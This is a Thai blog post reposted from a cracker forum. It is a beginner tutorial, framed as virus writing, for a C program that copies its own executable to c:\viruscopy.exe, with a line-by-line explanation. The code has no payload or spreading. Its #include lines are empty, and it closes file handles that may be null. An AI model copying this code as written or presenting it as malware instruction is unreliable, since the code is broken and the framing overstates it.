วันศุกร์ที่ 2 เมษายน พ.ศ. 2553

ใครสนใจการใช้ภาษา C เขียนไวรัสเข้ามาดูกัน

จุดประสงค์ : เพื่อศึกษาการเขียนโปรแกรมในการก็อปปี้ตัวเองไปยังจุดหมายได้
สิ่งที่้ต้องมีก่อนศึกษาในเรื่องนี้
1.ความรู้ในภาษาซีเบื้องต้นและเรื่องการจัดการไฟล์ต่างๆ เช่น การใช้คำสั่ง fread() ,fwrite()
2.โปรแกรมที่ใช้เขียนโปรแกรมและตัว Compile โปรแกรม เช่น Turbo C , VC++ และ อื่นๆ
ข้อแนะนำ ควรใช้ Window ไม่แนะนำให้ใช้ Linux และ Unix เพราะมีความยุ่งยาก และไม่เหมาะสำหรับผู้เริ่มต้น
แต่ผู้ที่มีระบบปฏิบัติการ Unix และ Linux อยู่แล้วก็ไม่ต้องลง Os ใหม่ ให้ใช้ Text Editor อย่าง pico หรือ Vi
และใช้ัตัวคอมไพล์ gcc แทน โดยใช้คำสั่งดังนี้
gcc -o [Destination name] [Source name]
[Destination name] คือ ชื่อที่กำหนดให้โปรแกรมที่แปลออกมามีนามสกุลเป็น *.exe
[Source name] คือ ชื่อของตัวซอร์สไฟล์ หรือ โค้ดที่เราเขียนขึ้นมีนามสกุล เป็น *.c
1. ความหมายของไวรัส
คือโปรแกรมที่สามารถแทรกโค้ดของตนเองไปยังไฟล์อื่น ทำให้ไม่สามารถทำงานได้อย่างปกติ หรือ เสีย แต่วันนี้ เราก็มาเขียนไวรัสแบบ Replicator คือสามารถจำลองตัวเองไปยังที่อื่น โดยใช้ภาษา C
2. เขียนโปรแกรมไวรัส
ก็อปปี้โค้ดด้านล่างใส่ Turbo c หรือ VC++
/*Sourcecode*/
#include
#include
short Copyvirus(char Motherfile[],char Virusfile[])
{
FILE *Mot,*Vir;
char Buffer[1024];
short Address= 0 ;
short Status=0;
Mot = fopen(Motherfile,"rb");
if(Mot)
{
Vir=fopen(Virusfile,"wb");
if(Vir) {
while(!feof(Mot)) { Address=fread(Buffer,1,1024,Mot);
if(Address) fwrite(Buffer,1,Address,Vir); }
Status=1;
}
} fclose(Mot); fclose(Vir); return Status; }

void main(int argc,char **argv)
{ FILE *virus; char Name[100]; strcpy(Name,argv[0]); Copyvirus(Name,"c:\\viruscopy.exe");
}
3.คอมไพล์โปรแกรม
เืมื่อคอมไพล์แล้วจะได้ไฟล์ที่ชื่อ Copy.exe ถ้าใช้ VC++ โปรแกรมจะอยู่ในโฟลเดอร์ Debug
4.ทดสอบโปรแกรม
คุณสามารถรันโปรแกรมได้โดยไม่ต้องกังวล ว่า โปรแกรมตัวนี้จะทำอะไรเครื่องคุณเพราะว่าเราเขียนโปรแกรมให้
แค่จำลองตัวเองไปยังเป้าหมายที่เิปิดเผยหาง่ายและไม่ได้มีคำสั่งที่เป็นอันตรายอย่าง ลบ หรือ แทรกโค้ดให้กับ
ไฟล์อื่นแต่อย่างใด ดังนั้นก็ลองรันโปรแกรมได้อย่างหมดห่วง และดูว่าทำงานถูกต้องหรือไม่ โดยจะจำลองโปรแกรม
ไปยัง C:\\viruscopy.exe
5.ความหมายของโค้ดโปรแกรมบรรทัด ต่อ บรรทัด
/*Sourcecode*/
คอมเม็นท์ในภาษา๊ซี จะเริ่มด้วย /* และจบด้วย */ ดังนั้นถ้าจะใส่คำอธิบายหรือ คอมเมนต์ก็ต้องขึ้นด้วย/* และ จบด้วย*/
#include
คำสั่งที่ใช้บอกตัวคอมไพเลอร์ หรือ ตัวแปล ให้ ใช้ไฟล์ stdio.h ในการแปลโค้ด เช่นคำสั่ง fwrite,fclose ถ้าไม่ใส่้โค้ด
บรรทัดนี้จะทำให้คำสั่ง fwrite,fclose ใช้งานไม่ได้เพราะตัวคอมไพเลอร์ไม่รู้จัก ย่างที่บอกไว้ข้างต้น
ให้ใส่โค้ดบรรทัดนี้เพื่อบอกตัวคอมไพเลอร์
#include
เช่นเดียวกันกับ stdio.h แต่จะต่างตรงที่ จะเปลี่ยนเป็น strcpy แทน fwrite,fclose
short Copyvirus(char Motherfile[],char Virusfile[])
การประกาศชนิดของฟังก์ชั่น Copyvirus เป็นแบบ short ซึ่งมีขนาดเล็กกว่า int และมีการรับค่าจากฟังก์ชั่นหลักสอง
ค่า และแต่ละค่านั้นเป็นตัวแปรชนิดตัวอักษร
Char Motherfile[] ใช้เก็บโค้ดโปรแกรมทั้งหมดของ Copy.exe
Char Virusfile[] ใช้เป็นตัวเก็บที่อยู่ของเป้าหมาย และเป็นตัวที่เก็บโค้ดด้วย ในที่นี้ก็คือ c:\\viruscopy.exe
FILE *Mot,*Vir;
ประกาศตัวแปรชนิดไฟล์ใช้เป็นตัวชี้ตำแหน่งข้อมูลในโปรแกรม
*Mot ใช้เป็นตัวชี้ตำแหน่งข้อมูลในไฟล์ Motherfile
* Vir ใช้เป็นตัวชี้ตำแหน่งข้อมูลในไฟล์ Virusfile
char Buffer[1024];
กำหนดขนาดของหน่วยเก็บข้อมูลชั่วคราวเป็น 1024
short Address= 0 ;
กำหนดที่อยู่เริ่มต้นเป็น 0
short Status=0;
กำหนดตัวแสดงสถานะทางตรรกะ Logic
Mot = fopen(Motherfile,"rb");
ให้เปิดไฟล์แม่แล้วให้ตัวชี้อ่านไฟล์แม่
เพื่อเป็นการประหยัดเวลาและสะดวกในการทำความเข้าใจจึงรวบรัด
if(Mot)
{
Vir=fopen(Virusfile,"wb");
if(Vir) {
while(!feof(Mot))
{
Address=fread(Buffer,1,1024,Mot);
if(Address)
fwrite(Buffer,1,Address,Vir); }
Status=1;
}
} fclose(Mot);
fclose(Vir);
return Status; }
ถ้าไฟล์แม่มีจริงให้สร้างไฟล์ไวรัส แ่ล้วเช็คต่อไปอีกว่า มีไฟล์ไวรัสหรือไม่ถ้ามีก็ให้
วนลูบจนกว่าเงื่อนไขจะเป็นเท็จนั่นคือจุดสิ้นสุดของไฟล์แม่ ถ้ายังไม่จบไฟล์แม่ก็ให้วนคำสั่งดังนี้
เมื่อวนจบเป็นเท็จก็ให้ออกจากวนลูบแล้วปิดไฟล์แม่ ปิดไฟล์ไวรัส แล้วให้ตัวแปรแสดงสถานะเป็น 1
void main(int argc,char **argv)
{
FILE *virus; char Name[100];
strcpy(Name,argv[0]);
Copyvirus(Name,"c:\\viruscopy.exe");
}
โปรแกรมจะทำงานที่ฟังก์ชั่นนี้ก่อนโดยส่งค่า Name และ สตริง ไปยังฟังก์ชั่น copy เพื่อทำงานต่อไป

CREDIT
Read more: http://www.cracker.in.th/forum/topic/426-%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%80%e0%b8%82%e0%b8%b5%e0%b8%a2%e0%b8%99%e0%b9%84%e0%b8%a7%e0%b8%a3%e0%b8%b1%e0%b8%aa-%e0%b8%94%e0%b9%89%e0%b8%a7%e0%b8%a2%e0%b8%a0%e0%b8%b2%e0%b8%a9%e0%b8%b2-c/#ixzz0k0Bz5Zdx
Under Creative Commons License: Attribution Non-Commercial
ขอคุณเว็บมาสเตอร์มากมายเด้อที่เอามาให้ศึกษากัน
#CRACKERGANGSTER#

1 ความคิดเห็น: